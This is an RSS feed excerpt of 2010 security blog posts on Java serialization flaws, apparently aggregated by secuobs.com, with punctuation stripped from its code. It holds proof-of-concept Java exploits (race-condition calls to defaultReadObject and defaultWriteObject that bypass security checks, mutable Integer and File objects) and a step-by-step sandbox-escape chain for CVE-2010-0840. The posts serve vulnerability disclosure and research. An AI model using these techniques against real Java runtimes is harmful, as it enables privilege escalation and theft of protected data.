means defaultReadObject was successfully called 044   in the other thread 045 break    and our work is done 046   catch  SecurityException se    047 seprintStackTrace  048   catch  ClassNotFoundException cnfe    049   catch  IOException ioe    050 ioeprintStackTrace  051   052 try   053 isreset  054   catch  IOException ioe    055 ioeprintStackTrace  056   057   058   059  start  060 061   this thread  forces  a call to defaultReadObject 062 while  true    063 try   064 oisdefaultReadObject  065 Systemoutprintln Successfully called defaultReadObject externally  066 try   067 int ref   baseWireHandle  068   enumerate all refs in the stream to find the evil object 069 while  true    070 isrewrite ConvertergetStream new Object   TC_REFERENCE, ref  071 Object obj   oisreadObject    read ref 072 if  objtoString contains EVIL    073 AppevilName    SecureName  obj  074 break  075   076   077   catch  Throwable t    078 tprintStackTrace  079   080 081 break    done  bail 082   catch  IOException e    083   catch  ClassNotFoundException e    084   085   086 087   done 088 Systemoutprintln An evil SecureName      evilName  089   090   Basically, we create an additional thread which keeps on calling readObject  on the ObjectInputStream, reading the same object over and over again  thanks to resetting the underlying InputStream after each call  Meanwhile, another thread keeps on calling defaultReadObject  on the same ObjectInputStream Once the right condition occurs  happens immediately on my core 2 laptop  and the other thread is in the SecureNamereadObject method, but hasn't called readFields  yet, the call to defaultReadObject succeeds and all of SecureName's serial fields are automatically populated That particular SecureName instance gets a bit lost, because defaultReadObject  doesn't return anything, and the corresponding readObject  in the other thread ends up throwing an exception  because it tries to call readFields  after defaultReadObject  has already been called  To get a hold of the  missing  object, we do a little bit of magic and manipulate our stream to return a ref to all the objects in it 2c  Example 3 - Secure writeObject implementation with a security check Same as above, adding some meat   bones to this example to have something worthwhile to steal A serialVersionUID and a value for the sensitive field This is what we'll try to extract through serialization 001 package ser4  002 003 import javaioIOException  004 005 public final class SecureValue implements javaioSerializable   006 007 private static final long serialVersionUID   -5975820784258084088L  008 009   sensitive internal state 010 private String value    The secret of life is D41D8CD98F00B204E9800998ECF8427E  011 012   public method to allow callers to retrieve internal state 013 public String getValue    014   permission needed to get value 015 securityManagerCheck  016 return value  017   018 019   implement writeObject to enforce checks during serialization 020 private void writeObject javaioObjectOutputStream out  throws IOException   021   duplicate check from getValue  022 securityManagerCheck  023 outwriteObject value  024   025 026 private void securityManagerCheck    027   code omitted 028   029   And the code that breaks it  001 package ser4  002 003 import javaioByteArrayOutputStream  004 import javaioIOException  005 import javaioObjectOutputStream  006 import javaioObjectStreamConstants  007 008 public class App implements ObjectStreamConstants   009 010 static ObjectOutputStream OOS   null  011 012 static boolean completed   false  013 014 public static void main String  args  throws Exception   015 final ByteArrayOutputStream baos   new ByteArrayOutputStream  016 OOS   new ObjectOutputStream baos  017 new Thread    018 public void run    019 while  completed    020 try   021 OOSwriteObject new SecureValue  022   catch  IOException ioe    023   024   025  start  026 while  completed    027 try   028 OOSdefaultWriteObject  029 Systemoutprintln serial data      baostoString  030 completed   true  031   catch  IOException e    032   033   034   035 036   This one is simple One thread keeps on writing SecureValue objects into the ObjectOutputStream  new instance every time, otherwise the serialization framework would just write a ref  Another thread keeps on calling defaultWriteObject  on the same ObjectOutputStream Once the race condition stars align  again, on my laptop this is immediate  the secrets of the SecureValue instance get written into a ByteArrayOutputStream and are accessible to us 3  javalangInteger Creating a mutable Integer that starts with zero as the value and on command changes it's value to any int value is quite trivial 001 package ser5  002 003 import javaioObjectStreamConstants  004 005 import utilConverter  006 007 public class App1 implements ObjectStreamConstants   008 009 static final Object  _DATA   new Object    010 STREAM_MAGIC, STREAM_VERSION,   stream headers 011 012 TC_OBJECT, 013 TC_CLASSDESC, 014 IntegerclassgetName ,   name 015  long  1360826667806852920L,   serialVersionUID 016  byte  2,   classdesc flags 017  short  1,   field count 018  byte  'I',  value , 019 TC_ENDBLOCKDATA, 020   super 021 TC_CLASSDESC, 022  pkgNone ,   name 023  long  1337L,   serialVersionUID 024  byte  2,  classdesc flags 025  short  1,   field count 026  byte  'L',  notimportant , TC_STRING,  Ljava lang Object , 027 TC_ENDBLOCKDATA, 028   super 029 TC_NULL, 030 031   start value data 032 TC_OBJECT,   embedded object, the value of pkgNonenotimportant phantom field 033 TC_CLASSDESC, 034 RefclassgetName ,   name 035  long  1,   serialVersionUID 036  byte  2,   flags 037  short  1,   field count 038  byte  'L',  i , TC_STRING,  Ljava lang Integer , 039 TC_ENDBLOCKDATA, 040   super 041 TC_NULL, 042 043   start value data for Ref 044 TC_REFERENCE, baseWireHandle   3,   ref to the Integer object 045 046 1337   value of the Integer object 047   048 049 public static Integer INSTANCE   null  050 051 public static void main String  args  throws Exception   052 Converterconvert DATA readObject  053 Systemoutprintln INSTANCE    SystemidentityHashCode App1INSTANCE      value       App1INSTANCE  054   055 056   001 package ser5  002 003 004 import javaioIOException  005 import javaioObjectInputStream  006 import javaioSerializable  007 008 public class Ref implements Serializable   009 private static final long serialVersionUID   1L  010 011 public Integer i  012 013 private void readObject  ObjectInputStream s  throws IOException, ClassNotFoundException   014 sdefaultReadObject   015 App1INSTANCE   thisi  016 Systemoutprintln INSTANCE    SystemidentityHashCode App1INSTANCE      value       App1INSTANCE  017   018 019   We have an early reference on a phantom superclass field containing a Ref object This object has a reference to the Integer instance before it's fields have been initialized  because the phantom superclass fields are still being initialized  So the Integer instance has the default value 0 Once the initialization completes, the object will have the value that is in the stream In this case 1337 It is also possible, with a few limitations, to create more arbitrary mutability from any value to another, with multiple changes 001 package ser5  002 003 import javaioObjectStreamConstants  004 005 import utilConverter  006 import utilRepeat  007 008 public class App2 implements ObjectStreamConstants   009 010 static final Object  _DATA   new Object    011 STREAM_MAGIC, STREAM_VERSION,   stream headers 012 013 TC_OBJECT, 014 TC_CLASSDESC, 015 IntegerclassgetName ,   name 016  long  1360826667806852920L,   serialVersionUID 017  byte  2,   classdesc flags 018  short  10000,   field count 019 Repeatme 10000, new Object    020  byte  'I',  value  021  , 022 TC_ENDBLOCKDATA, 023   super 024 TC_CLASSDESC, 025  pkgNone ,   name 026  long  1337L,   serialVersionUID 027  byte  2,  classdesc flags 028  short  1,   field count 029  byte  'L',  notimportant , TC_STRING,  Ljava lang Object , 030 TC_ENDBLOCKDATA, 031   super 032 TC_NULL, 033 034   start value data 035 TC_OBJECT,   embedded object, the value of pkgNonenotimportant phantom field 036 TC_CLASSDESC, 037 Ref2classgetName ,   name 038  long  1,   serialVersionUID 039  byte  2,   flags 040  short  1,   field count 041  byte  'L',  i , TC_STRING,  Ljava lang Integer , 042 TC_ENDBLOCKDATA, 043   super 044 TC_NULL, 045 046   start value data for XRef 047 TC_REFERENCE, baseWireHandle   3,   ref to the 4th object in the stream 048 049   start integer data 050 Repeatme 2000, new Object    051 1 052  , 053 Repeatme 2000, new Object    054 2 055  , 056 Repeatme 2000, new Object    057 3 058  , 059 Repeatme 2000, new Object    060 4 061  , 062 Repeatme 2000, new Object    063 5 064  , 065   066 067 public static void main String  args  throws Exception   068 Converterconvert DATA readObject  069   070 071   001 package ser5  002 003 import javaioIOException  004 import javaioObjectInputStream  005 import javaioSerializable  006 007 public class Ref2 implements Serializable   008 private static final long serialVersionUID   1L  009 010 public Integer i  011 012 private void readObject  ObjectInputStream s  throws IOException, ClassNotFoundException   013 sdefaultReadObject   014 new Thread    015 public void run    016 while  iintValue   5    017 Systemoutprintln    i  018   019 Systemoutprintln    i  020   021  start  022 try   023 Threadsleep 50  024   catch  InterruptedException e    025 eprintStackTrace  026   027   028   This example uses the Repeated Field attack It's quite a bit messier than the 0-1337 example above, but it manages repeated mutability The serial data contains the value field of the Integer class repeated 10,000 times That is, 2000 times for each of the values  1, 2, 3, 4 and 5 To demonstrate the mutation, another Threads keeps printing the Integer 4  javaioFile 001 package ser6  002 import javaioEOFException  003 import javaioFile  004 import javaioIOException  005 import javaioNotActiveException  006 import javaioObjectInputStream  007 import javaioObjectStreamConstants  008 import javaioOptionalDataException  009 import javaioStreamCorruptedException  010 011 import utilConverter  012 import utilEvilSplitStream  013 014 public class App implements ObjectStreamConstants   015 016 static final Object  _DATA   new Object    017 STREAM_MAGIC, STREAM_VERSION,   stream headers 018 TC_OBJECT, 019 TC_CLASSDESC, 020 FileclassgetName , 021  long  301077366599181567L,   serialVersionUID 022  byte  3,   classdesc flags 023  short  2,   field count 024  byte 'L',  path , TC_STRING,  Ljava lang String , 025  byte 'L',  phantom , TC_STRING,  Ljava lang Object , 026 TC_ENDBLOCKDATA, 027 TC_NULL,   no superclass 028 029   start value data for File 030 TC_STRING,  ,   path 031 TC_OBJECT,   phantom  phantom field  032 TC_CLASSDESC, 033 XRefclassgetName , 034  long  1,   serialVersionUID 035  byte  2,   classdesc flags 036  short 1,   field count 037  byte 'L',  bb , TC_STRING,  Ljava lang Object , 038 TC_ENDBLOCKDATA, 039 TC_NULL,   no superclass 040 041   start value data for XRef 042 TC_REFERENCE, baseWireHandle   3, 043 TC_BLOCKDATA,  byte  2,  short  ' ', TC_ENDBLOCKDATA, 044   045 046 047 public static File INSTANCE   null  048 049 public static boolean keepWaiting   true  050 051 public static void main String  args  throws Exception   052 final EvilSplitStream is   new EvilSplitStream ConvertergetStream DATA  053 final ObjectInputStream ois   new ObjectInputStream is  054 055 new Thread    056 public void run    057 while  true    058 try   059 oisdefaultReadObject  060 Systemoutprintln INSTANCE    SystemidentityHashCode AppINSTANCE      value       AppINSTANCEgetPath  061 break    done, bail 062   catch  IOException e    063   catch  ClassNotFoundException e    064   065   066   067  start  068 069 ismark 50000  070 while  true    071 try   072 oisreadObject  073   catch  NotActiveException nae    074 AppkeepWaiting   false  075 Systemoutprintln NAE OK Bailing  076 break  077   catch  IllegalArgumentException iae    078   079 isreset  080   081   082 083   001 package ser6  002 003 004 import javaioByteArrayOutputStream  005 import javaioFile  006 import javaioIOException  007 import javaioObjectInputStream  008 import javaioPrintStream  009 import javaioSerializable  010 011 public class XRef implements Serializable   012 private static final long serialVersionUID   1L  013 014 public File bb  015 016 private void readObject  ObjectInputStream s  throws IOException, ClassNotFoundException   017 sdefaultReadObject  018 ByteArrayOutputStream baos   new ByteArrayOutputStream  019 PrintStream ps   new PrintStream baos  020 new Exception printStackTrace ps  021 String stack   baostoString  022 if  stackcontains defaultReadObject    023 AppINSTANCE   bb  024 Systemoutprintln INSTANCE    SystemidentityHashCode AppINSTANCE      value       AppINSTANCEgetPath  025 try   026 while  AppkeepWaiting    027 Threadsleep 10  028   029   catch  InterruptedException e    030 eprintStackTrace  031   032   033   034 035   That's not terribly robust, there's so many things that can go wrong with the timing But it seems to work most of the time It's a File that at first has a null path and then   as it's path This path string doesn't pass through normalization I'm not certain if that has security implications </description><link>http://www.secuobs.com/revue/news/246801.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/246801.shtml</guid></item>
<item><title>Why Complex Powerful is a bad combination for security</title><description>Secuobs.com : 2010-07-01 23:30:54 -  Slightly  Random Broken Thoughts -  or  the big, ugly mess that is Java serialization  I decided to write this bit after I started participating on the Cert CC Java Secure Coding guidelines and was looking at the rules in the Serialization section I immediately spotted some problems and started working on how to do serialization right, in terms of security I already knew many of the pitfalls, but I quickly found that secure validation while deserializing is extremely difficult Need proof  If Joshua Bloch can't get it right, and the  Oracle Sun  Secure Coding Guidelines can't get it right, and key core classes can't get it right, what chances do the rest of us have  Java deserialization privilege escalation vulnerabilities keep popping up I know of three that have been fixed, and it's a safe bet we haven't seen the last of them But they've been discussed at length, so let's look at the rest of the problems in the world of Java serialization Early References - It is possible to create a cross reference scenario where any object controlled by the attacker gets a reference to another, sensitive object which is still being initialized The attacker creates serialized data where an instance of the class SensitiveClass references an instance of EvilClass EvilClass has a reference of that same SensitiveClass instance Thus, when SensitiveClass is in the middle of being serialized, in order to deserialize it's fields, the EvilClass instance gets deserialized If EvilClass has a readObject method, it gets control and a reference to the SensitiveClass which is still under construction Phantom Fields - Phantom Fields are an auxiliary technique to obtain early, incomplete references A class such as integer does not have any object fields, so the early reference attack would not work by itself But we can create n fields in the serialized data that don't exist in the actual classes The values for these get read and then discarded, but if their values are objects controlled by the attacker, they can have a readObject method which gets executed before the other object has been fully initialized Phantom Superclasses - These work much like phantom fields, but with different timing They are processed prior to the subclasses This is significant because primitive fields are processed before object fields  in other words  superclass primitives, superclass objects, subclass primitives, subclass objects,    So if, for example, one wishes to create a mutable javalangInteger, it is necessary to create a phantom superclass, which has a field containing a reference to the Integer being deserialized Repeated Fields - In the serialized data, a valid field for a class can be repeated any number of times The values of this field are then written to the field repeatedly, even if the field is final  through the magic of javamiscUnsafe  Attacker can achieve mutability  TOCTOU  for seemingly immutable classes  javalangInteger, etc  Race conditions - ObjectInputStream and ObjectOutputStream are not internally synchronized and a lot of the de serialization logic relies on fields of these two classes, which are shared between threads External call to defaultReadObject - As the attacker has a reference to the ObjectInputStream, he can call the defaultReadObject method on objects that do not wish to use default deserialization Due to the race condition problems, it is possible to force a defaultReadObject before the class manages to call getFields External call to defaultWriteObject - Much like external call to defaultReadObject, leveraging the race condition, it is possible to call defaultWriteObject externally from another thread for any object that has a writeObject method Now let's break some stuff  1  Example from Joshua Bloch's Effective Java  Item 76  It shows an example of an immutable date range class, with validation in the readObject method 001 package ser1  002 003 import javaioIOException  004 import javaioInvalidObjectException  005 import javaioObjectInputStream  006 import javaioSerializable  007 import javautilDate  008 009   Immutable class that uses defensive copying 010 public final class Period implements Serializable   011 012 private Date start  013 private Date end  014   015    param start the beginning of the period 016    param end the end of the period  must not precede start 017    throws IllegalArgumentException if start is after end 018    throws NullPointerException if start or end is null 019   020 public Period Date start, Date end    021 thisstart   new Date startgetTime  022 thisend   new Date endgetTime  023 if  thisstartcompareTo thisend   0  throw new IllegalArgumentException start     after     end  024   025 026 public Date start     027 return new Date startgetTime  028   029 030 public Date end     031 return new Date endgetTime  032   033 034 public String toString    035 return start     -     end  036   037 038   readObject method with defensive copying and validity checking 039 private void readObject ObjectInputStream s  throws IOException, ClassNotFoundException   040 sdefaultReadObject  041   Defensively copy our mutable components 042 start   new Date startgetTime  043 end   new Date endgetTime  044   Check that our invariants are satisfied 045 if  startcompareTo end   0  046 throw new InvalidObjectException start     after     end  047   048 049   Remainder omitted 050   Broken This can be circumvented in a rather controlled fashion, using cross referencing and a Date subclass  MutableDate  Imagine that the serialized data contains a Period Object whose start and end fields contain mutable Date subclasses which contain a reference back to the Period object Deserialization executes the readObject method and calls MutableDategetTime  At this moment, MutableDate contains a reference to the PeriodObject before the defensive copying takes place 2  Oracle Secure Coding guidelines  Guideline 5-4  2a  Example 1 001 package ser2  002 003 public final class SensitiveClass implements javaioSerializable   004 005 public SensitiveClass    006   permission needed to instantiate SensitiveClass 007 securityManagerCheck  008 009   regular logic follows 010   011 012   implement readObject to enforce checks during deserialization 013 private void readObject javaioObjectInputStream in    014   duplicate check from constructor 015 securityManagerCheck  016 017   regular logic follows 018   019 020 private void securityManagerCheck    021   code omitted 022   023 024   025 Broken It is possible to call ObjectInputStreamdefaultReadObject from another thread before the securityManagerCheck takes place  or during it  2b  Example 2 001 package ser3  002 003 import javaioIOException  004 005 public final class SecureName implements javaioSerializable   006 007   private internal state 008 private String name  009 010 private static final String DEFAULT    DEFAULT  011 012 public SecureName    013   initialize name to default value 014 name   DEFAULT  015   016 017   allow callers to modify private internal state 018 public void setName String name    019 if  name   null   nameequals thisname     thisname   null    020   no change - do nothing 021 return  022   else   023   permission needed to modify name 024 securityManagerCheck  025 026 inputValidation name  027 028 thisname   name  029   030   031 032   implement readObject to enforce checks during deserialization 033 private void readObject javaioObjectInputStream in  throws ClassNotFoundException, IOException   034 javaioObjectInputStreamGetField fields   inreadFields  035 String name    String  fieldsget name , DEFAULT  036 037   if the deserialized name does not match the default value normally 038   created at construction time, duplicate checks 039 040 if  DEFAULTequals name    041 securityManagerCheck  042 inputValidation name  043   044 thisname   name  045   046 047 private void inputValidation String name2    048   code omitted 049   050 051 private void securityManagerCheck    052   code omitted 053   054 055   Broken It is possible to call ObjectInputStreamdefaultReadObject from another thread before the readObject method invokes the readFields  method 2c  Example 3 - Secure writeObject implementation with a security check 001 package ser4  002 003 import javaioIOException  004 005 public final class SecureValue implements javaioSerializable   006 007   sensitive internal state 008 private String value  009 010   public method to allow callers to retrieve internal state 011 public String getValue    012   permission needed to get value 013 securityManagerCheck  014 return value  015   016 017   implement writeObject to enforce checks during serialization 018 private void writeObject javaioObjectOutputStream out  throws IOException   019   duplicate check from getValue  020 securityManagerCheck  021 outwriteObject value  022   023 024 private void securityManagerCheck    025   code omitted 026   027   Broken It is possible to call defaultWriteObject externally before the writeObject method calls securityManagerCheck  or during it  3  javalangInteger  037 public final class Integer extends Number implements Comparable    628   629   The value of the Integer 630   631    serial 632   633 private final int value   1202   Broken With a Phantom Superclass and Repeated fields it is possible to create a mutable Integer An Integer which is zero and later on changes it's value to something else can be done in a controlled fashion An Integer which keeps changing it's value in arbitrary manner can be timed 4  javaioFile  120 public class File 121 implements Serializable, Comparable 122    129   130   This abstract pathname's normalized pathname string A normalized 131   pathname string uses the default name-separator character and does not 132   contain any duplicate or redundant separators 133   134    serial 135   136 private String path   1918   1919   readObject is called to restore this filename 1920   The original separator character is read If it is different 1921   than the separator character on this system, then the old separator 1922   is replaced by the local separator 1923   1924 private synchronized void readObject javaioObjectInputStream s  1925 throws IOException, ClassNotFoundException   1926 ObjectInputStreamGetField fields   sreadFields  1927 String pathField    String fieldsget path , null  1928 char sep   sreadChar    read the previous separator char 1929 if  sep   separatorChar  1930 pathField   pathFieldreplace sep, separatorChar  1931 thispath   fsnormalize pathField  1932 thisprefixLength   fsprefixLength thispath  1933   1934 1935   use serialVersionUID from JDK 102 for interoperability   1936 private static final long serialVersionUID   301077366599181567L  1937   Broken It is possible to call ObjectInputStreamdefaultReadObject externally along with a combination of phantom superclass and repeated field Conclusion I'll put my code where my mouth is in future posts The serialization framework is extremely complex and extremely powerful in that creates objects without calling constructors and sets values to fields that might be private and or final This combination is a dangerous one for security </description><link>http://www.secuobs.com/revue/news/237000.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/237000.shtml</guid></item>
<item><title>Mutable InetAddress Socket Policy Violation  ZDI-10-055 CVE-2010-0095 </title><description>Secuobs.com : 2010-04-29 06:16:59 -  Slightly  Random Broken Thoughts - Relevant Identifiers  ZDI-10-055, CVE-2010-0095 Impact  Violation of Same Origin Policy, allowing unsigned applets to connect to any host Oracle Java Patch  http wwworaclecom technology deploy security critical-patch-updates javacpumar2010html Details  This is a low-impact, but technically somewhat interesting vulnerability javanetInetAddress is a public, non-final, serializable class It has a package-private constructor If one was to respect compiler errors, it would not be possible to create a subclass of InetAddress in another package, because creating a legal constructor for the subclass is impossible But it turns out one does not need a legal constructor As the superclass is serializable, the subclass constructor never gets called and never gets verified by the run-time No tricks are required for creating the subclass For example, Eclipse compiler will compile the rest of the class normally and create a constructor that just throws an exception In the case of InetAddress this allows us to create a subclass which is a mutable InetAddress In other words, give the same origin policy check one value, and use another value when doing the actual connection Nothing as complicated as timing is required as the SOP check uses the getHostAddress  method, while the actual connection uses the private address field, which can be deserialized into having any desirable value The Fix  Update 19 added a readObject method to the InetAddress class, which throws a SecurityException if the instance being read was not loaded by the null ClassLoader </description><link>http://www.secuobs.com/revue/news/217201.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/217201.shtml</guid></item>
<item><title>Symantec on ZDI-10-051 and ZDI-10-056</title><description>Secuobs.com : 2010-04-28 08:01:49 -  Slightly  Random Broken Thoughts - An interesting piece on the Symantec blog by Adrian Pisarczyk on ZDI-10-051  CVE-2010-0094  and ZDI-10-056  CVE-2010-0840   Perfect  Client-Side Vulnerabilities The first property, which makes such issues attractive for attackers, stems from the fact that they do not rely on any memory-corruption conditions  hence, the exploits are extremely reliable and do not have to cope with memory protection mechanisms ASLR and DEP-based protections will not protect against the exploits  Another uncommon vulnerability feature sought after by attackers is platform and browser independence Not to take absolutely anything away from it, but Adrian's analysis makes much of the same, valid points as Julien Tinnes' post from about a year back on the calendar deserialization issue  Write Once, Own Everyone most other client-side vulnerabilities that can lead to arbitrary code execution, including other Java vulnerabilities are memory corruption vulnerabilities in a component written in native code Exploiting those reliably can be hard Especially if you have to deal with multiple operating system versions or with PaX-like protections such as DEP and ASLR This one is a pure Java vulnerability This means you can write a 100pourcents reliable exploit in pure Java This exploit will work on all the platforms, all the architectures and all the browsers  </description><link>http://www.secuobs.com/revue/news/216783.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/216783.shtml</guid></item>
<item><title>Java RMIConnectionImpl Deserialization Privilige Escalation  ZDI-10-051 CVE-2010-0094 </title><description>Secuobs.com : 2010-04-15 06:12:45 -  Slightly  Random Broken Thoughts - Relevant Identifiers  ZDI-10-051, CVE-2010-0094 Impact  Privilege escalation of the Java security sandbox The most obvious target is the Java Runtime running Java Applets, JavaFX and Java Web Start applications in a web browser Untrusted code will gain full privileges of the user executing the browser process Oracle Java Patch  http wwworaclecom technology deploy security critical-patch-updates javacpumar2010html Steps to remedy  Update to Java 6 update 19 Details  Deserialization of untrusted data from a privileged context has been established as a security vulnerability  Sami Koivu, Julien Tinnes, securecodingcertorg  javaxmanagementremotermiRMIConnectionImpl does privileged deserialization of objects from user supplied data More specifically  -The public createMBean method calls the private unwrap method -The unwrap method has a doPrivileged block which calls the get method of a javarmiMarshalledObject instance -The get method deserializes an object from an internal byte array -The byte array can be made to contain a serialized custom ClassLoader  ClassLoader subclass  -The custom ClassLoader can create classes with full privileges As with CVE-2008-5353, the trick is that ClassLoader is not Serializable, but the subclass can be made Serializable and in the deserialization process, the first non-serializable superclass constructor is called with the security context of the code doing the deserialization Even though the subclass is untrusted, the context is privileged, so the security checks of the ClassLoader constructor are passed Immediately after the deserialization, a ClassCastException is thrown because the code assumes the read object to be an Object array, but this is irrelevant, because an instance to the ClassLoader can be obtained during the deserialization process, by defining a readObject method A Brief History of Privileged Deserialization  August, 2008  The first known instance of Privileged Deserialization was found in the Calendar class December, 2008  Java 6 update 11 fixes the Calendar Deserialization vulnerability March, 2009  Java 6 update 13 fixes a Privileged Deserialization issue that is not attributed to anyone  CR 6646860  A security vulnerability in the Java Plug-in with deserializing applets may allow an untrusted applet to escalate privileges For example, an untrusted applet may grant itself permissions to read and write local files or execute local applications that are accessible to the user running the untrusted applet This had to do with a little used option in the APPLET tag The object parameter can be used to specify a serialized  saved  representation of the applet Turns out this deserialization used to take place in a privileged context prior to Java 6 update 13 March, 2010  Java 6 update 19 fixes a Privileged Deserialization issue in RMIConnectionImpl The Fix  The RMIConnectionImpl class was altered to leave the deserialization outside of the privileged block Only setting current context classloader is done in a privileged block This eliminates this particular privileged deserialization instance </description><link>http://www.secuobs.com/revue/news/212389.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/212389.shtml</guid></item>
<item><title>Java Trusted Method Chaining  CVE-2010-0840 ZDI-10-056 </title><description>Secuobs.com : 2010-04-09 07:41:46 -  Slightly  Random Broken Thoughts - Relevant Identifiers  ZDI-10-056, CVE-2010-0840 Impact  Privilege escalation of the Java security sandbox The most obvious target would be the Java Runtime running Java Applets, JavaFX and Java Web Start applications in a web browser Untrusted code will gain full privileges of the user executing the browser process Oracle Java Patch  http wwworaclecom technology deploy security critical-patch-updates javacpumar2010html Steps to remedy  Update to Java 6 update 19 Details  Java code originating from the Java core classes in the JRE lib directory is considered trusted Java code originating from an unsigned Java applet is considered untrusted When Java evaluates privileges for any given operation, it considers the whole method call stack For each item on the stack, the privileges of the class that defined the method in question are considered Thus, if class Foo defines method call  and class Bar is a subclass of Foo, and an instance of Bar is on the stack, and the method is call , the privileges of Foo, not Bar, are considered It is possible to implement interface methods with methods inherited from a superclass  For example, if interface CacheItem has void method delete  and class Folder, which implements no interfaces, has a method with a compatible signature, it is possible to create a concrete class FolderPosingAsACacheItem which extends the Folder class, and implements the CacheItem  with the inherited method  without defining any methods of its own There are hundreds  thousands  of trusted classes in the Java core that call methods on objects which can be defined by untrusted code either directly, via sub-classing or via deserialization These methods can be arranged in such a way that a trusted thread  such as one of the event threads  may be chained into calling method A which calls method B which calls method C  which calls method Z As only trusted code will be on the calling stack, the privileged context of the trusted thread is maintained If one finds a method Z that does something interesting, such as a parameterizable method invocation via reflection, that invocation will take place in a privileged context This is very bad because it means that security relies that there not exist harmful combinations of methods signatures  something that is not feasible to control, as opposed to the very controlled model of having a number of doPrivileged blocks which are known to be dangerous, but relatively easy to control ZDI-10-056 CVE-2010-0840 leverages this by creating a trusted chain as follows  - instantiate a vulnLink  subclass of javabeansExpression  pointing the invoke params to class  javalangSystem, method setSecurityManager, args  null - instantiate a new javautilHashSet and put the vulnLink  which is also a MapEntry  in the Set - instantiate an anonymous subclass of HashMap where the entrySet method returns the instance defined above - instantiate a javaxswingJList object, passing the HashMap instance defined above as the list contents - add the JList on any visible component  such as the applet itself  And here's what happens when the digital Rube Goldberg machine is set into motion  - the GUI thread wants to draw the JList and calls JListpaint Graphics  - JList while drawing itself, calls toString on the list contents, including said anonymous subclass of HashMap - HashMap inherits AbstractMap's toString method which calls entrySet iterator  and iterates the resulting Set, calling getValue on each Entry - one of the Entry objects returned by the implementation is a subclass of Statement, which implements the Entry interface's getValue  method with the StatementgetValue  - StatementgetValue  calls Expressioninvoke  - Expressioninvoke  has been parametrized to call SystemsetSecurityManager null  via reflection and Java security gets switched off Safety First  The vulnLink class cannot be created with a normal Java compiler Hopefully that'll keep the virus writers at bay, while the details enlighten the security community The Fix  Based on my very brief analysis, Java 6 update fixes this problem by altering the Statementinvoke  to use the AccessControlContext captured at the moment of instantiation when it uses the reflection </description><link>http://www.secuobs.com/revue/news/210441.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/210441.shtml</guid></item>
<item><title>Java Security Updates</title><description>Secuobs.com : 2010-04-06 04:43:25 -  Slightly  Random Broken Thoughts - Zero Day Initiative has released three Advisories relating to vulnerabilities I discovered last year Here are the original advisories, more details to follow shortly Sun Java Runtime RMIConnectionImpl Privileged Context Remote Code Execution Vulnerability ZDI-10-051  April 5th, 2010 CVE ID CVE-2010-0094 Affected Vendors Sun Microsystems Affected Products Java Runtime TippingPoint  IPS Customer Protection TippingPoint IPS customers are protected against this vulnerability by Digital Vaccine protection filter ID 9591 For further product information on the TippingPoint IPS  http wwwtippingpointcom Vulnerability Details This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of the Sun Java Runtime Environment User interaction is required to exploit this vulnerability in that the target must visit a malicious website The specific flaw exists within the deserialization of RMIConnectionImpl objects Due to a lack of privilege checks during deserialization it is possible to supply privileged code in the ClassLoader of a constructor being deserialized This allows for a remote attacker to call system level Java functions without proper sandboxing Exploitation of this can lead to remote system compromise under the context of the currently logged in user Vendor Response Sun Microsystems has issued an update to correct this vulnerability More details can be found at  http wwworaclecom technology deploy security critical-patch-updates javacpumar2010html Disclosure Timeline 2009-10-21 - Vulnerability reported to vendor 2010-04-05 - Coordinated public release of advisory Credit This vulnerability was discovered by  Sami Koivu --------------------------------------------------------------------- Sun Java Runtime Environment Mutable InetAddress Socket Policy Violation Vulnerability ZDI-10-055  April 5th, 2010 CVE ID CVE-2010-0095 Affected Vendors Sun Microsystems Affected Products Java Runtime Vulnerability Details This vulnerability allows remote attackers to violate security policies on vulnerable installations of Sun Java Runtime User interaction is required to exploit this vulnerability in that the target must run a malicious applet The specific flaw allows malicious applets to connect to network addresses other than the originating applet and client IPs A handcrafted applet can override compile time checks to prevent compilation of a mutable InetAddress subclass This results in the ability to circumvent the Applet SecurityManager restictions Vendor Response Sun Microsystems has issued an update to correct this vulnerability More details can be found at  http wwworaclecom technology deploy security critical-patch-updates javacpumar2010html Disclosure Timeline 2009-10-21 - Vulnerability reported to vendor 2010-04-05 - Coordinated public release of advisory Credit This vulnerability was discovered by  Sami Koivu --------------------------------------------------------------------- Sun Java Runtime Environment Trusted Methods Chaining Remote Code Execution Vulnerability ZDI-10-056  April 5th, 2010 CVE ID CVE-2010-0840 Affected Vendors Sun Microsystems Affected Products Java Runtime Vulnerability Details This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Sun Java Runtime Authentication is not required to exploit this vulnerability The specific flaw exists within the code responsible for ensuring proper privileged execution of methods If an untrusted method in an applet attempts to call a method that requires privileges, Java will walk the call stack and for each entry verify that the method called is defined within a class that has that privilege However, this does not take into account an untrusted object that has extended the trusted class without overwriting the target method Additionally, this can be bypassed by abusing a similar trust issue with interfaces An attacker can leverage these insecurities to execute vulnerable code under the context of the user invoking the JRE Vendor Response Sun Microsystems has issued an update to correct this vulnerability More details can be found at  http wwworaclecom technology deploy security critical-patch-updates javacpumar2010html Disclosure Timeline 2009-11-24 - Vulnerability reported to vendor 2010-04-05 - Coordinated public release of advisory Credit This vulnerability was discovered by  Sami Koivu </description><link>http://www.secuobs.com/revue/news/209209.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/209209.shtml</guid></item>
<item><title>Java 6 Update 19</title><description>Secuobs.com : 2010-03-31 15:09:18 -  Slightly  Random Broken Thoughts - Java 6u19 is out since yesterday Among the fixes is this  - 6910590  Application can modify command array in ProcessBuilder Which is the problem with defensive copying I wrote about in December </description><link>http://www.secuobs.com/revue/news/207388.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/207388.shtml</guid></item>
